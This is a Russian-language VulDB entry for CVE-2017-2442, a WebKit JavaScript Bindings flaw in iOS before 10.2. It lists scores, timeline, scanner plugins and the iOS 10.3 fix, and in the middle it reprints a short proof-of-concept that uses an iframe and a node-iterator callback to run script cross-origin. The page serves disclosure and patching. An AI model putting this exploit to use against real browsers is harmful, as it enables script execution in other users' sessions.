Apple iOS до 10.2 WebKit JavaScript Bindings JSCallbackData эскалация привилегий

CVSS Meta Temp ScoreТекущая цена эксплойта (≈)Балл интереса CTI
5.2$0-$5k0.00

СводкаИнформация

В проблематичный обнаружена уязвимость, классифицированная как Apple iOS до 10.2. Неизвестная функция компонента WebKit JavaScript Bindings используется. Осуществление манипуляции приводит к эскалация привилегий. Эта уязвимость продается как CVE-2017-2442. Возможно осуществить атаку удалённо. Кроме того, имеется доступный эксплойт. Рекомендуется произвести апгрейд соответствующего компонента.

ПодробностиИнформация

В проблематичный обнаружена уязвимость, классифицированная как Apple iOS до 10.2. Неизвестная функция компонента WebKit JavaScript Bindings используется. Осуществление манипуляции приводит к эскалация привилегий. Декларирование проблемы с помощью CWE приводит к CWE-20. Данный баг был выявлен 28.03.2017. Информация о слабости была опубликована 27.03.2017 автором Paul Thomson (lokihardt) совместно с Google Project Zero под номером HT207617 как Консультация (Веб-сайт). Консультация доступна по адресу support.apple.com.

Эта уязвимость продается как CVE-2017-2442. CVE был назначен 01.12.2016. Возможно осуществить атаку удалённо. Доступна техническая информация. Уровень популярности этой уязвимости ниже среднего значения. Кроме того, имеется доступный эксплойт. Эксплойт опубликован и может быть использован. Текущая цена за эксплойт может составлять около USD $0-$5k в настоящее время. Консультация указывает:

Multiple validation issues existed in the handling of page loading. This issue was addressed through improved logic.

Задано как Доказательство концепции. Эксплойт доступен по адресу exploit-db.com. В случае 0-day эксплойта, предполагаемая цена на подпольном рынке была около $25k-$100k. Исходный код эксплойта:

"use strict";
 
let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
    f.onload = null;
 
    try {
        let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
        iterator.nextNode();
    } catch (e) {
        e.constructor.constructor("alert(location)")();
    }
};
 
f.src = "https://abc.xyz/";
Сканер уязвимостей Nessus предоставляет плагин с ID 99167 (macOS : Apple Safari < 10.1 Multiple Vulnerabilities), который помогает определить наличие изъяна в целевой среде. Ему присвоено семейство MacOS X Local Security Checks. Данный плагин работает в контексте типа l. Коммерческий сканер уязвимостей Qualys способен проверить эту проблему с помощью плагина 196754 (Ubuntu Security Notification for Webkit2gtk Vulnerabilities (USN-3257-1)).

Обновление до версии 10.3 способно решить эту проблему. Рекомендуется произвести апгрейд соответствующего компонента.

Уязвимость также задокументирована в других базах данных уязвимостей: SecurityFocus (BID 97129) и Tenable (99167).

ПродуктИнформация

Тип

Поставщик

Имя

Версия

Лицензия

Веб-сайт

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CVSSv3Информация

VulDB Meta Base Score: 5.4
VulDB Meta Temp Score: 5.2

VulDB Базовый балл: 4.3
VulDB Временная оценка: 3.9
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

NVD Базовый балл: 6.5
NVD Вектор: 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

NVD Базовый балл: 🔍

ЭксплуатацияИнформация

Класс: эскалация привилегий
CWE: CWE-20
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Скачать: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Nessus ID: 99167
Nessus Имя: macOS : Apple Safari < 10.1 Multiple Vulnerabilities
Nessus Файл: 🔍
Nessus Риск: 🔍
Nessus Семейство: 🔍
Nessus Context: 🔍

OpenVAS ID: 802925
OpenVAS Имя: Apple Safari Multiple Vulnerabilities-HT207600
OpenVAS Файл: 🔍
OpenVAS Семейство: 🔍

Qualys ID: 🔍
Qualys Имя: 🔍

Exploit-DB: 🔍

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: Обновление
Статус: 🔍

Время реакции: 🔍
0-дневное время: 🔍
Время экспозиции: 🔍
Задержка эксплуатации: 🔍

Обновление: iOS 10.3

ХронологияИнформация

01.12.2016 🔍
27.03.2017 +116 дни 🔍
27.03.2017 +0 дни 🔍
27.03.2017 +0 дни 🔍
28.03.2017 +1 дни 🔍
28.03.2017 +0 дни 🔍
01.04.2017 +4 дни 🔍
03.04.2017 +2 дни 🔍
04.04.2017 +1 дни 🔍
04.04.2017 +0 дни 🔍
30.06.2025 +3008 дни 🔍

ИсточникиИнформация

Поставщик: apple.com

Консультация: HT207617
Исследователь: Paul Thomson (lokihardt)
Организация: Google Project Zero
Статус: Подтверждённый
Подтверждение: 🔍

CVE: CVE-2017-2442 (🔍)
GCVE (CVE): GCVE-0-2017-2442
GCVE (VulDB): GCVE-100-98809
SecurityFocus: 97129 - Apple iOS and Safari Multiple Security Vulnerabilities
OSVDB: - CVE-2017-2442 - Apple - Multiple Products - Security Bypass Issue
SecurityTracker: 1038137

scip Labs: https://www.scip.ch/en/?labs.20150917
Смотрите также: 🔍

ВходИнформация

Создано: 28.03.2017 11:52
Обновлено: 30.06.2025 00:34
Изменения: 28.03.2017 11:52 (89), 28.08.2020 18:38 (8), 21.11.2022 11:32 (5), 30.06.2025 00:34 (14)
Завершенный: 🔍
Cache ID: 216::103

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Обсуждение

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!